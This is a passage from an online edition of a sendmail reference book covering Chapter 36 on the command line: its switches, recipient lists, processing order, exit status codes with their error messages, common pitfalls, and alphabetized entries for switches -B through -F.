-C | Section 36.7.15, -C | All versions | Location of configuration file
-c | Section 34.8.29, HoldExpensive (c) | Deprecated | Set HoldExpensive (c) option to true
-d | Section 37.1, "The Syntax of -d" | All versions | Enter debugging mode
-E | Section 36.7.18, -E | Sony NEWS only | Japanese font conversion
-e | Section 34.8.24, ErrorMode (e) | Deprecated | Set the ErrorMode (e) option's mode
-F | Section 36.7.20, -F | All versions | Set the sender's full name
-f | Section 36.7.21, -f and -r | All versions | Set sender's address
-h | Section 36.7.22, -h | Deprecated | Minimum hop count
-I | Section 36.7.23, -I | Deprecated | Synonym for -bi
-i | Section 36.7.24, -i | Deprecated | Set the IgnoreDots (i) option to true
-J | Section 36.7.25, -J | Sony NEWS only | Japanese font conversion
-M | Section 31.2, "Command-Line Definitions" | V8.7 and above | Define a macro on the command line
-m | Section 34.8.39, MeToo (m) | All versions | Set the MeToo (m) option to true
-N | Section 36.7.28, -N | V8.8 and above | Specify DSN NOTIFY information
-n | Section 24.6, "Prevent Aliasing with -n" | All versions | Don't do aliasing
-O | Section 34.1, "Command-Line Options" | V8.7 and above | Set a multicharacter option
-o | Section 34.1 | All versions | Set a single-character option
-p | Section 36.7.32, -p | V8.1 and above | Set protocol and host
-q | Section 23.6.1 | All versions | Process the queue
-R | Section 36.7.34, -R | V8.8 and above | DSN what to return on a bounce
-r | Section 36.7.21 | Deprecated | Synonym for -f
-s | Section 34.8.59, SaveFromLine (f) | Deprecated | Set the SaveFromLine (f) option to true
-T | Section 34.8.52, QueueTimeout (T) | Deprecated | Set QueueTimeout (T) option
-t | Section 36.7.38, -t | All versions | Get recipients from message header
-U | Section 36.7.39, -U | V8.8 and above | This is the initial MUA to MTA submission
-V | Section 36.7.40, -V | V8.8 and above | Specify the ENVID string
-v | Section 36.7.41 | All versions | Run in verbose mode
-X | Section 26.4, "Log Transactions with -X" | V8.1 and above | Log transactions
-x | Section 36.7.43, -x | V8.2 and above | Ignored

Some switches are called Boolean because they are either true or false. The -v switch, for example, is Boolean because it puts sendmail into verbose mode if it is present (true). If it is absent (false), sendmail does not run in verbose mode.

Some switches take arguments. The -C switch, for example, tells sendmail where to find its configuration file. When a switch takes an argument, the argument may immediately follow the letter or be separated from it with whitespace: [2]

[2] Prior to V8 sendmail, whitespace was not allowed between the letter and the argument.

-Ctest.cf            <-  good
-C test.cf           <-  also good

The only exception to this rule is the -d command-line switch (set debugging mode). It may not have whitespace between the letter and the arg.

Some switches, such as -q (process the queue), can either be Boolean or take an argument:

-q                   <-  boolean
-q1h                 <-  with argument

The position of switches in the command line is critical. If any follow the list of recipients, they are wrongly taken as mail addresses and lead to bounced mail. But the order in which switches appear prior to the recipients is not important. That is, they may appear in any order without changing the behavior of sendmail.

An undefined switch letter causes the following error to be printed and sendmail to immediately exit:

sendmail: illegal option - bad letter here

The special switch -- can be used to delimit the switches from the list of recipients:

% /usr/lib/sendmail -- -jim

Here, the recipient is -jim. To prevent the - of -jim from being wrongly interpreted as indicating a switch, the special switch -- is used to mark the end of all switches. [3]

[3] Under pre-V8 sendmail, recipient names could never begin with a -C, -b, -d, -q, or -Z. If any did, they were wrongly interpreted as switches during preprocessing.

Previous: 36.1 Alternative argv[0] Names | sendmail | Next: 36.3 List of Recipient Addresses
36.1 Alternative argv[0] Names | Book Index | 36.3 List of Recipient Addresses


[Chapter 36] 36.3 List of Recipient Addresses

sendmailSearch this book
Previous: 36.2 Command-Line Switches Chapter 36
The Command Line 		Next: 36.4 Processing the Command Line

36.3 List of Recipient Addresses

All command-line arguments that follow the switches (if any) are taken to be the addresses of recipients. The addresses in the list may be separated by spaces, by commas, or by both:

addr1 addr2 addr3
addr1,addr2,addr3
addr1, addr2, addr3

Certain modes specified by the -b command-line switch, such as -bp (for print the queue's contents), cause sendmail to ignore any list of recipients.

Be sure to escape any characters in addresses that have special meaning to your shell. For example, because the ! character has special meaning to the C-shell, [4] it should be escaped by preceding it with a backslash character:

[4] And its derivatives such as tcsh(1).

host\!user

If sendmail expects a list of recipients and finds none, it prints the following message and exits:

Recipient names must be specified

Previous: 36.2 Command-Line Switches | sendmail | Next: 36.4 Processing the Command Line
36.2 Command-Line Switches | Book Index | 36.4 Processing the Command Line


[Chapter 36] 36.4 Processing the Command Line

sendmailSearch this book
Previous: 36.3 List of Recipient Addresses Chapter 36
The Command Line 		Next: 36.5 sendmail's exit() Status

36.4 Processing the Command Line

The sendmail program's ability to perform different tasks necessitates that the command line be processed in steps.

First

The command line is prescanned to set its -d debugging switch. That switch allows you to watch all the steps taken by sendmail prior to processing the rest of the command-line switches.

Second

Internal macros are given values, then the command line's argv[0] (the name used to run sendmail) is processed. That name can determine the sendmail program's mode of operation.

Third

The command-line switches are processed. Although the configuration file is read after the command line is processed, options in the command line (with -o and -O) still supersede those in the configuration file.

Fourth

The configuration file is read.

Fifth

If sendmail is running in a mode that allows it to verify or deliver to recipients, the remainder of the command line is processed to extract the recipient list.

36.4.1 First: Prescanning the Command Line

When sendmail begins to run, it performs a preliminary scan of its command-line arguments. It does this because some actions need to be performed before its configuration file is read. The -d command-line switch is processed during the pre-scanning phase.

36.4.2 Second: Processing Prior to the Switches

After the command-line switches are prescanned, but before they are processed in full, sendmail performs two important internal tasks.

36.4.2.1 Initialize the environment

The environmental variables that are given to sendmail when it is first run are ignored. When running delivery agents, sendmail provides a small, customized environment. See Section 22.2, "The Environment" for a detailed discussion of this step.

36.4.2.2 Initialize macros

Certain macros are next declared and assigned values. The $w macro (see Section 31.10.40, $w), $j macro (see Section 31.10.38, $v), and the $=w class macro (see Section 32.5.8, $=w) are given values that identify the current host. The $m macro (see Section 31.10.24, $m) is given a value that is the local domain name. The $k macro (see Section 31.10.21, $k) and the $=k class (see Section 32.5.2, $=k) are also given values at this time. The $v macro (see Section 31.10.38) is assigned a value that is the current version of the sendmail program. The $b macro (see Section 31.10.3, $b) is given the current date and time as its value.

36.4.3 Third: Process Switches

Command-line switches are processed by sendmail as they appear in the command line, from left to right. The processing of switches ends when an argument is found that lacks a leading - character or when a -- argument is found.

36.4.4 Fourth: Read the Configuration File

The fact that the configuration file is read after the command-line switches are processed can lead to some confusion. Some, but not all, command-line switches can overwrite some configuration file commands. Since there is no general rule, we describe the behavior of each item (such as macros and options) in a chapter dedicated to each.

36.4.5 Fifth: Collect Recipients

The final step sendmail undertakes in processing its command line is gathering the list of recipients. Each recipient (or list of recipients if more than one is contained in a single command-line argument) is fully processed for delivery, and any error messages are printed before delivery is actually undertaken.

If sendmail is running in a mode that doesn't require recipients, any list of recipients in the command line is silently ignored.

Previous: 36.3 List of Recipient Addresses | sendmail | Next: 36.5 sendmail's exit() Status
36.3 List of Recipient Addresses | Book Index | 36.5 sendmail's exit() Status


[Chapter 36] 36.5 sendmail's exit() Status

sendmailSearch this book
Previous: 36.4 Processing the Command Line Chapter 36
The Command Line 		Next: 36.6 Pitfalls

36.5 sendmail's exit() Status

Like any other program under UNIX, sendmail can return meaningful values to the environment and thus to you. All of the possible exit values are documented in <sysexits.h> along with the values assigned to each name. Here, we provide a bit more explanation about the most commonly used names.

The relationship between each exit value and its corresponding DSN detail is shown in Table 30.6 in Section 30.5.2, "The error Delivery Agent". That table also summarizes the values described here.

36.5.1 EX_CANTCREAT Can't Write a User's File

An exit value of EX_CANTCREAT (the value 73) means that an output file could not be written to. This error generally refers to a user-specified file rather than a system- or configuration-file-specified file. Some problems that can lead to this error (without an error message) is an attempt to write to a file that has any execute bit set in its permissions, a file that has more than one link, and (if the SafeFileEnvironment option; see Section 34.8.58, SafeFileEnvironment, is set) a file that is not a regular file.

If the SafeFileEnvironment option is specified and sendmail is unable to chroot(2) into the specified directory, the following message is logged:

mailfile: Cannot chroot(directory)

When delivery is to a file, sendmail will log the following error if the file cannot be opened or stat(3)'d:

cannot open: reason here
cannot fstat: reason here

and the fork(2)'d child will exit with EX_CANTCREAT.

36.5.2 EX_CONFIG A Configuration Error

The EX_CONFIG exit value (the value 78) means that a fatal configuration problem was found, but this does not necessarily mean that the problem was found while reading the configuration file. Failure of a delivery agent to function correctly can lead to this kind of failure:

  • During delivery, when a rule set 0 selection of a delivery agent fails to specify a host with the $@ part (see Section 29.6, "Rule Set 0"), the following error is logged and the fork(2)'d child exits with EX_CONFIG:

    null host name for mailer

  • During delivery, when $u appears in the argument list for an SMTP delivery agent (see Section 30.4.1.3, "$u in A="), sendmail logs the following error and the fork(2)'d child exits with EX_CONFIG:

    non-clever IPC

  • During delivery, when an attempt is made to use an SMTP delivery agent with a version of sendmail that was compiled without SMTP support (see Section 18.8.41, SMTP), sendmail logs the following error and the fork(2)'d child exits with EX_CONFIG:

    deliver: need SMTP compiled to use clever mailer

Some apparent DNS errors are really configuration problems. In the following error, hostB is an MX record that points back to your host. The problem is that your host doesn't know that it should be accepting mail for hostB. The solution is to add hostB to your local $=w class (see Section 32.5.8).

MX list for hostB points back to ourhost

When sendmail processes MX records, it skips any records of absurd length and logs the following message:

Host name ourhost too long

If an MX record points to a CNAME record, the result can be serious. The first CNAME may point to a second, the second to a third, and so on. If this list is longer than the number defined by MAXCNAMEDEPTH in domain.c, the result is the following error:

DNS failure: CNAME loop for bad host name here

One solution is to set the DontExpandCnames option (see Section 34.8.18, DontExpandCnames) to false, thus causing only the first CNAME to be used as if it were an A record.

Errors in rule set numbers are sometimes only found during actual rewriting:

illegal ruleset number bad number here
rewrite: excessive recursion (max max), ruleset bad number here
rewrite: ruleset num: replacement $digit out of bounds
Unknown ruleset bad name here

The solutions to these problems should be obvious. See Chapter 29, Rule Sets, for guidance.

Note that this EX_CONFIG and EX_SOFTWARE below cause the local postmaster to get a copy of the message on the presumption that local errors can only be fixed locally.

36.5.3 EX_IOERR A System I/O Error Occurred

An exit value of EX_IOERR (the value 74) means that a serious operating system error occurred. This class of error relates mostly to disk I/O.

If the body of a mail message could not be read, the following error message is logged:

putbody: dfqid: read error

The file may have vanished because of a disk crash and may have been restored to lost+found. The qid is the queue identifier that will help you to find the qf file. Inside that qf file are an I line that give the inode and major and minor device numbers of the disk that held the df file (see Section 23.9.7, I line).

An error that occurs while writing to the pipe(2) connection to a delivery agent causes the following error to be logged and for the fork(2)'d child to exit with EX_CONFIG:

putbody: write error

36.5.4 EX_OK No Problems, All Was Fine

The EX_OK exit code (value 0) indicates that sendmail did its job and there were no errors.

Note that this should be the exit value of all the programs that sendmail runs when they succeed without errors. To illustrate, this C language code returns a random value:

main()
{
          <-  need a ``return 0'' here
}

36.5.5 EX_OSERR A System Resource Error

The EX_OSERR exit code (value 71) results from various operating system errors several of which are described below. In general, this exit value is accompanied by an error message describing the problem.

When sendmail is unable to get a pipe(2) connection to send the mail message to a delivery agent, it logs one of the following errors and the fork(2)'d child exits with EX_OSERR:

recipient... openmailer(delivery agent): pipe (to mailer)
recipient... openmailer(delivery agent): pipe (from mailer)

If sendmail is unable to dup(2) a file descriptor so that it can write to its pipe, it logs one of first three errors below. If sendmail fails to write to its transcript file (as set by the -X switch; see Section 26.4), it logs the last error below. In all four cases the current open file descriptors are logged as described in Section 26.3.3, "SIGUSR1 Dump States".

recipient... openmailer(delivery agent): cannot dup pipe file descriptor for stdout
recipient... openmailer(delivery agent): cannot dup stdout for stderr
recipient... openmailer(delivery agent): cannot dup pipe file descriptor for stdin
recipient... openmailer(delivery agent): cannot dup xscript file descriptor for stdout

If a delivery agent cannot be executed, sendmail logs the following error message, and the fork(2)'d child exits with EX_OSERR:

Cannot exec delivery agent: reason

To save (cache) information about hosts to which connections have been made, sendmail saves a copy of the file descriptors for that connection to its internal mci structures (see Section 37.5.44, -d11.1). If it cannot duplicate a file descriptor it logs one of the following messages and the fork(2)'d child exits with EX_OSERR.

deliver: cannot create mailer output channel, fd=file descriptor
deliver: cannot create mailer input channel, fd=file descriptor

When looking up the MX record for a host, the resolv library can return an absurd value. When that happens, the following message is logged and that MX record is ignored:

getmxrr: res_search (host) failed with impossible h_errno (bad value)

To queue a message, sendmail must save a qf file to its queue directory. If it cannot create that file, if the directory exists, and if the uid of sendmail is 0, then the following error message will be logged and the fork(2)'d child will exit with EX_OSERR:

Cannot create "qf file" in "directory" (euid=uid): reason

36.5.6 EX_OSFILE A Critical System File Failure

The EX_OSFILE exit code (value 72) results when certain system files could not be opened and when certain system programs could not be executed.

When sendmail gets a SIGHUP signal, it attempts to re-execute itself (see Section 26.3.2, "SIGHUP Restart"). If it fails, the following error is logged and sendmail exits:

could not exec /path/sendmail: reason

The sendmail program can run a program to look up a key in a database. If sendmail fails to run the program, it prints the following error:

prog_map_lookup(program) failed (reason) - closing

We probably don't have to mention this, but the sendmail program has to read its configuration file. If it fails to open, stat, or read that file or if that file is not a plain file, it prints one of the following errors:

cannot open
cannot fstat
not a plain file
I/O read error

and exits with an EX_OSFILE value.

36.5.7 EX_SOFTWARE An Internal Software Error

The EX_SOFTWARE exit code (value 70) indicates that a software error occurred.

When sendmail has successfully connected to a remote host, it checks to see whether it knows to whom it connected. If for some strange reason it doesn't know, it logs this error and drops the connection, and the fork(2)'d child exits with EX_OSERR:

deliver: no host name

When figuring out whether or not to speak SMTP, sendmail looks to see whether the $u macro is present in the A= equate for the selected delivery agent (see Section 30.4.1.3). If $u is absent, sendmail will speak SMTP. If sendmail was compiled without SMTP support (see Section 18.8.41), the following error is logged and the fork(2)'d child exits with an EX_SOFTWARE exit code:

SMTP style mailer not implemented

When fork(2)s and exec(2)s a delivery agent to perform delivery, it calls wait(2) to wait for the delivery agent to exit. If the call to wait(2) fails, sendmail logs the following error and the fork(2)'d child exits with an EX_SOFTWARE exit code:

endmailer delivery agent name: wait

When sendmail first starts to run (provided that it is not in rule-testing mode), it performs a chdir(2) into its queue directory. If that chdir(2) fails, sendmail logs the following error and exits with an EX_SOFTWARE exit code:

cannot chdir(directory)

The sendmail program can run a program to look up a key in a database. After running that program, sendmail calls wait(2) to wait for the program to exit. If the call to wait(2) fails, sendmail prints the following error and the fork(2)'d child exits with an EX_SOFTWARE exit code:

prog_map_lookup(program): wait error reason

When bouncing mail, sendmail tries to set the sender to Postmaster if no sender can be determined. Before it can use that address (Postmaster), it has to parse it with rules to select a delivery agent. If that parsing fails, sendmail logs the following error and the fork(2)'d child exits with an EX_SOFTWARE exit code:

Cannot parse Postmaster!

When the sending of an error message results in an error, an attempt is made to send notification of that error to the address defined by the DoubleBounceAddress option (see Section 34.8.21, DoubleBounceAddress). If parsing that address fails, sendmail logs the following error and the fork(2)'d child exits with an EX_SOFTWARE exit code:

cannot parse double bounce address

See the description of $n (see Section 31.10.26, $n) for another error that results in the fork(2)'d child exiting with an EX_SOFTWARE exit code.

36.5.8 EX_TEMPFAIL A Recoverable Error

The EX_TEMPFAIL exit code (value 75) is returned by sendmail to indicate that a temporary error has occurred. Temporary errors mean that the mail message will be put in (or remain in) the queue for the present, and another delivery attempt will be made later.

One example of this type of error occurs in looking up aliases via a network service, such as NIS. If all the servers are too busy to answer before a timeout, then sendmail should temporarily queue the message and look up the aliases later:

alias database unavailable

Another example occurs when there is a failure to open a file descriptor as a file pointer with fdopen(3). This can happen caching an SMTP connection:

cannot open SMTP client channel, fd=file descriptor

In looking up hostnames with DNS, the name server or the network might be so overloaded that the lookup will time out:

host: Name server timeout

DNS lookup failures can also be caused by dial-on-demand networks when the connect is not fast enough. If the delivery mode of sendmail is set by the DeliveryMode (d) option (see Section 34.8.16, DeliveryMode (d)) to defer, that failed connection is deemed temporary.

Normally, delivery agents exit because they have finished delivering the email. If one exits because of a received signal, sendmail logs the following message and the fork(2)'d child exits with an EX_TEMPFAIL exit code:

mailer delivery agent name died with signal signal in octal

Also, if the -X command-line switch (see Section 26.4) was used to specify a transcript file, the arguments to the delivery agent will be recorded in that file.

36.5.9 EX_UNAVAILABLE A Resource

The EX_UNAVAILABLE error code (value 69) indicates that some system resource is unavailable. Several examples follow.

If the body size of an incoming message is larger than the size limit imposed by the M= equate (see Section 30.4.7, M=) the following error is reported:

Message is too large; M= bytes max

All delivery agent programs must be designed to return an exit value that is defined in <sysexits.h>. If a misdesigned delivery agent exits with some other value, sendmail will issue this error and consider the delivery to have failed:

unknown mailer error decimal representation of the error value

When delivering to a file, sendmail forks, and the child performs the actual delivery. If that child dies because of a signal, the parent logs this error:

child died on signal decimal representation of the signal value

To queue a message, sendmail must save a qf file to its queue directory. If it cannot open that file and if the error is other than that the file already exists, the following error message will be logged and the fork(2)'d child will exit with EX_UNAVAILABLE:

queuename: cannot create file in directory (euid=userid)

36.5.10 EX_USAGE A Command Was Used Incorrectly

The EX_USAGE error code (value 64) means that a command or configuration line was used incorrectly.

For instance, the sendmail daemon can be executed only by root. If anyone else tries to run it with -bd or -bD, the following error is printed and sendmail exits with an EX_USAGE error:

Permission denied

Clumsy fingers can also cause problems. If a command-line switch is used that is unknown to sendmail, the following error will be printed and sendmail will exit with an EX_USAGE code:

sendmail: illegal option - bad option here

In parsing an address, that address can be rejected if it contains control characters:

Address contained invalid control characters

If the EightBitMode (8) option (see Section 34.8.22, EightBitMode (8)) is specified with a bad character, the following error is printed and sendmail exits with an EX_USAGE code:

Unknown 8-bit mode bad character

If the DeliveryMode (d) option (see Section 34.8.16) is given a bad mode specification with a bad character, sendmail will print the following message and exit with an EX_USAGE code:

Unknown delivery mode bad mode here

Previous: 36.4 Processing the Command Line | sendmail | Next: 36.6 Pitfalls
36.4 Processing the Command Line | Book Index | 36.6 Pitfalls


[Chapter 36] 36.6 Pitfalls

sendmailSearch this book
Previous: 36.5 sendmail's exit() Status Chapter 36
The Command Line 		Next: 36.7 Alphabetized Reference

36.6 Pitfalls

  • Prior to V8 sendmail, if the list of recipients contained an address that began with any of the prescanned switches, sendmail would wrongly view that recipient as a switch during its prescan phase. For example, mail to joe, bill, -Cool caused sendmail to try to use a file named ool as its configuration file.

  • Command-line switches must precede recipient addresses. Switches that are mixed in with recipient names are treated as recipient addresses.

  • Most versions of sendmail (including IDA and some versions of BSD but excluding SunOS and V8) syslog(3) a warning if the frozen configuration file doesn't exist. This can be annoying at sites that intentionally choose not to use a frozen configuration file.

  • Prior to V8 sendmail, unknown command-line switches were silently ignored. Therefore sending mail from a shell script could fail for reasons that were difficult to find. For example, specifying the preliminary hop count wrongly with -j, instead of correctly with -h, caused your presetting of the hop count to be silently ignored.

  • Some old BSD and SunOS versions of sendmail set the default sender's full name from the environmental variable NAME even when running as a daemon or when processing the queue. This can lead to the superuser's full name occasionally showing up wrongly as a sender's full name. IDA and V8 sendmail clear the full name in -bd and -q modes but use different methods. To prevent this problem under other versions of sendmail, the env(1) program can be used to clean up the environment passed to sendmail:

    % env - /usr/lib/sendmail -bd -q1h

  • V8 sendmail uses getopt(3) to parse its command-line arguments so that a switch and its argument may have whitespace between them without harm:

    -C configfile

    But for bizarre historical reasons the -d switch differs. There may never be space between the -d and its arguments:

    -d 0.4

    If there is space between them, the argument (here, 0.4) is taken to be a recipient name.

Previous: 36.5 sendmail's exit() Status | sendmail | Next: 36.7 Alphabetized Reference
36.5 sendmail's exit() Status | Book Index | 36.7 Alphabetized Reference


[Chapter 36] 36.7 Alphabetized Reference

sendmailSearch this book
Previous: 36.6 Pitfalls Chapter 36
The Command Line 		Next: 37. Debugging with -d

36.7 Alphabetized Reference

Command-line switches are those command-line arguments that precede the list of recipients and begin with a - character. For a complete list of command-line switches, see Table 36.2 in Section 36.2, "Command-Line Switches".

In this section we present a full description of each switch in alphabetical order. Where two switches differ by case, the uppercase switch precedes the lowercase switch.

36.7.1 -B

Specify message body type

(V8.1 and above)

MIME (Multimedia) support in V8 sendmail has been coupled to ESMTP (Extended SMTP) of the new BODY parameter for the MAIL command. The BODY parameter is passed through as is to the delivery agent. Two special parameters are internally recognized by sendmail. They tell sendmail that the message body is either 7bit or 8bitmime. 7bit forces the high bit off. 8bitmime causes sendmail to leave the high bit unchanged. Both override any setting of the SevenBitInput (7) option (see Section 34.8.62, SevenBitInput (7)).

When sendmail connects to another site for incoming mail, it has no way to determine from context whether or not it is dealing with MIME mail. To override any configured assumptions, you may use the -B command-line switch.

-B 7BIT
-B 8BITMIME

Case is unimportant (7BIT and 7bit both work). The 7bit causes the local sendmail to tell the remote sendmail (in ESMTP mode) that the message body should have the high bit stripped from every byte. Conversely, 8bitmime tells the remote sendmail to preserve the high bit of each byte.

The value given to this -B command-line or received via the BODY parameter is stored in the ${bodytype} macro (see Section 31.10.4, ${bodytype}).

36.7.2 -b

Set operating mode

(All versions)

The -b switch tells sendmail in what mode to operate. For example, sendmail can "become" a daemon listening for incoming SMTP connections, or it can run in a mode that tells it to simply print the contents of the queue and exit. The form of the -b switch is:

-bmode

If mode is more than a single letter, all but the first letter is silently ignored. If the mode is missing or not one of those allowed, sendmail prints the following error message and exits:

Invalid operation mode bad letter here

If the -b command-line switch is omitted altogether, the default mode becomes -bm (deliver mail and exit).

Beginning with V8.7, sendmail the letter that selected the operating mode is assigned at startup to the ${opMode} macro (see Section 31.10.28, ${opMode}).

36.7.3 -ba

Use ARPAnet/Grey Book protocols

(Not V8.1 - V8.6)

In the distant past, mail messages on ARPAnet were sent by using the ftp(1) protocol. Because that protocol was never intended for use with email, many different departures were designed ("patched in") to solve particular problems. That growing anarchy caused Jonathan B. Postel to design the Simple Mail Transfer Protocol (SMTP) in 1982 and to document that protocol in RFC821. Since then, SMTP has replaced FTP as the Internet standard.

In the belief that sufficient time had passed for all sites to have adopted SMTP, the -ba mode was deemed obsolete and removed from the V8.1 sendmail. It turned out that the British Grey Book protocol was based on FTP. To support that protocol, this -ba command-line switch was restored in V8.7 sendmail.

The -ba switch causes each line of a message to be terminated with a carriage-return line-feed pair instead of with a newline. This switch also forces sendmail to guess the sender from the message header, instead of parsing it from the envelope. The -ba switch should never be used outside of a Grey Book setting.

36.7.4 -bD

Run as a daemon, but don't fork

(V8.8 and above)

The -bD command line switch is almost exactly the same as the -bd switch. That is, it causes sendmail to run as a daemon, but, unlike the -bd switch, it prevents sendmail from performing a fork(2) and thereby keeps sendmail in the foreground. This allows sendmail to be run from a "wrapper" script to detect whether it died or was killed:

#!/bin/sh
SENDMAIL=/usr/lib/sendmail
UCBMAIL=/usr/ucb/mail

if [ -f $SENDMAIL -a -f $UCBMAIL ]
then
        $SENDMAIL -bD -q1h
        echo ${SENDMAIL}, which should run forever, died \
                | $UCBMAIL -s "Sendmail died" root
fi

Note that the echo line will never be reached as long as sendmail continues to run.

Also note that -bD also prevents detaching from the controlling terminal (just as does the -d99.100 debugging switch; see Section 37.5.193, -d99.100).

36.7.5 -bd

Run as a daemon

(All versions)

The -bd command-line switch causes sendmail to become a daemon, running in the background, listening for and handling incoming SMTP connections. [5]

[5] In its classic invocation, -bd is usually combined with a -q1h.

To become a daemon, sendmail first performs a fork(2). The parent then exits, and the child becomes the daemon by disconnecting itself from its controlling terminal. The -bD command-line switch can be used to prevent the fork(2) and the detachment and allows the sendmail program's behavior to be observed while it runs in daemon mode.

As a daemon, sendmail does a listen(2) on TCP port 25 for incoming SMTP messages. When another site connects to the listening daemon, the daemon performs a fork(2), and the child handles receipt of the incoming mail message.

36.7.6 -bH

Purge persistent host status

(V8.8 and above)

The -bH command-line switch causes sendmail to clear (purge) all the persistent host-status information that was being saved as a result of the HostStatusDirectory option (see Section 34.8.31). Note that the HostStatusDirectory directory is not itself removed, but all the subdirectories under it are. The purgestat(1) (see Section 36.1.4) command-line command is a synonym for this switch.

36.7.7 -bh

Print persistent host status

(V8.8 and above)

The -bh command-line switch is a synonym for the hoststat(1) command-line command. It causes sendmail to print its persistent host status and exit. See Section 36.1.1 for a description of this output.

36.7.8 -bi

Initialize alias database

(All versions)

The -bi command-line switch causes sendmail to rebuild its aliases(5) database, and exit. This switch is described in Section 24.5.1. The name newaliases and the (obsolete) -I command-line switch are synonyms for this mode.

36.7.9 -bm

Be a mail sender

(All versions)

The -bm command-line switch (the default) causes sendmail to run once in the foreground. A list of recipients is taken from the command line (unless the -t command-line switch is used), and the message is read from the standard input and delivered.

This is the mode MUAs use when they invoke sendmail on the user's behalf. The sendmail program processes the recipients first, then the message header, then the message body. Usually, the envelope recipients are those on the command line. But if the -t command-line switch is also used, the recipients are taken from the message header. The envelope sender is more difficult to determine:

  • Trusted users, and programs running under the identity of those users, may specify the address of the sender by using either the -f or the -r command-line switch (see Section 36.7.21) when running sendmail. Trusted users are those that are declared with a T configuration command (see Section 22.8.1.1, "Declare trusted users (not V8.1 through V8.6)").

  • Otherwise, sendmail tries to use the user identity of the invoking program to determine the sender.

  • When generating a mail bounce message, the header sender becomes the name specified by the value of the $n macro (see Section 31.10.26), usually mailer-daemon.

36.7.10 -bp

Print the queue

(All versions)

The -bp command-line switch is a synonym for mailq(3). See Section 23.4 for a full description of how to use this command-line switch.

36.7.11 -bs

Run SMTP on standard input

(All versions)

The -bs command-line switch causes sendmail to run one time in the foreground, collect an SMTP message over its standard input and output, deliver the message, and exit.

This mode is intended for use at sites that wish to run sendmail with the inetd(3) daemon. To implement this, place an entry like the following in your inetd.conf(5) file, then restart inetd(3) by killing it with a SIGHUP signal:

smtp   stream  tcp   nowait  root /usr/lib/sendmail sendmail -bs

With this scheme it is important to either use cron(3) to run sendmail periodically to process its queue: [6]

[6] The look of these lines varies depending on the version of UNIX you are running.

0 * * * * /usr/lib/sendmail -q

or run sendmail in the background to process the queue periodically by specifying an interval to -q (see Section 23.6.1):

/usr/lib/sendmail -q1h

There are advantages and disadvantages in using inetd(3) instead of the -bd daemon mode to listen for and process incoming SMTP messages. The advantages are the following:

  • At security-conscious sites, sendmail can be hidden behind a tcpd(3) or miscd(3) wrapper that can selectively accept or reject connections. (But see TCPWRAPPERS in Section 18.8.49, TCPWRAPPERS for a way to include this support directly inside sendmail.)

  • At hosts that receive few incoming mail messages, this mode avoids the need to run a daemon.

The disadvantages are the following:

  • At sites that receive many incoming mail messages, this mode causes a new sendmail process to be started for each connection. Compared to daemon mode, this can adversely affect system performance.

  • At highly loaded sites, this mode circumvents the sendmail program options that are intended to avoid overloading the system with too many concurrent sendmail processes.

In general, the inetd(3) approach should be used only on lightly loaded machines that receive few SMTP connections.

The -bs switch is also useful for MUAs that prefer to use SMTP rather than a pipe to transfer a mail message to sendmail. Depending on how it is configured, mh(1) can use this feature.

36.7.12 -bt

Rule testing mode

(All versions)

The bt command-line switch causes sendmail to run in rule-testing mode. This mode is covered in detail in Section 38.1.

36.7.13 -bv

Verify: don't collect or deliver

(All versions)

The -bv command-line switch causes sendmail to verify the list of recipients. Each recipient in the list of recipients is fully processed up to the point of delivery without actually being delivered. If mail can be successfully delivered to a recipient, sendmail prints a line like one of the following:

name ...deliverable
name ...deliverable: mailer $# value, host $@ value, user $: value

The first form is that of pre-V8 sendmail. The second form began with V8.1 sendmail.

The name is the original recipient address after it has undergone aliasing and rule set rewriting. A local user's name expands to the contents of that user's .forward file. A mailing list expands to many names (and produces many lines of output). The mailer, host, and user correspond to the triple returned by rule set 0 (see Section 29.6). If no $@ is returned, the host part is omitted from this output.

If the recipient cannot be delivered to, sendmail instead prints the following:

name ...reason recipient is undeliverable

The reason can be any of many possible error messages (such as "No such user") that would prevent successful delivery.

The -bv switch also prevents sendmail from collecting any mail message from its standard input unless the -t command-line switch (see Section 36.7.38) is also given.

36.7.14 -bz

Freeze the configuration file

(Not V8)

Prior to V8 sendmail the -bz command-line switch caused sendmail to build (or rebuild) its frozen configuration file (now obsolete). The frozen configuration file was just a simple image of sendmail's variables after it had read and parsed the configuration file. The purpose of the frozen file was to enable sendmail to start up more swiftly than it could when parsing the configuration file from scratch. [7]

[7] In practice, freeze files helped you only on systems with very fast I/O systems relative to their CPU speeds. Although this was true in the day of the VAX 11/750, improvements in processor technology have reversed this tradeoff.

The -bz command-line switch is obsolete. If you use it with V8 sendmail, you will see this error message:

Frozen configurations unsupported

36.7.15 -C

Location of the configuration file

(All versions)

The -C command-line switch tells sendmail where to find its configuration file. The form of the -C switch is:

-C path

Space between the -C and the path is optional. The path specifies the location of the configuration file. That location may be either a relative or a full pathname. If path is missing, the location becomes the file sendmail.cf in the current directory.

The -C command-line switch causes sendmail to internally mark the configuration file as unsafe. An unsafe configuration file prevents all but root from setting certain options and causes sendmail to change its uid and gid to that of the user that ran it. If it is used by someone other than the superuser (and if in other than -bt rule-testing mode), the -oQ switch should also be used to set the location of the queue directory. If that location is not changed, sendmail fails because it cannot chdir(2) into its queue directory.

Prior to V8 the -C command-line switch also prevented sendmail from "thawing" its frozen configuration file.

36.7.16 -c

Set HoldExpensive (c) option to true

(Deprecated)

The -c command-line switch is a synonym for the HoldExpensive (c) option (see Section 34.8.29).

As of V8, this command-line switch has been deprecated and may not be in future versions.

36.7.17 -d

Enter debugging mode

(All versions)

The -d command-line switch causes sendmail to run in debugging mode. This switch is described in gory detail in Section 37.1.

36.7.18 -E

Japanese font conversion

(Sony NEWS only)

The -E switch is reserved for the Sony NEWS adaptation of sendmail. It is ignored by the Berkeley release of V8 sendmail and produces no errors if used by that version.

36.7.19 -e

Set the ErrorMode (e) option's mode

(Deprecated)

The -e command-line switch is a synonym for the ErrorMode (e) option (see Section 34.8.24).

The -e command-line switch is deprecated and may not be in future versions.

36.7.20 -F

Set the sender's full name

(All versions)

The -F command-line switch specifies the full name for the sender, which is used in mail headers and the envelope. The form of the -F switch is:

-Ffullname
-F fullname

Space between the -F and the fullname is optional. If fullname is missing and the -F is the last argument, sendmail prints the following error and exits:

sendmail: option requires an argument - F

If the -F is followed by any other switches, the following switch is taken as the full name.

When specifying the sender's full name, be sure to quote any internal spaces or shell special characters. For example, for the C shell the following would be needed to specify the full name Happy Guy!:

"Happy Guy\!"

In the absence of this switch, sendmail finds the sender's full name in any of several places. These are described in the section discussing the $x macro (see Section 31.10.42, $x).

36.7.21 -f and -r

Set sender's address

(All versions)

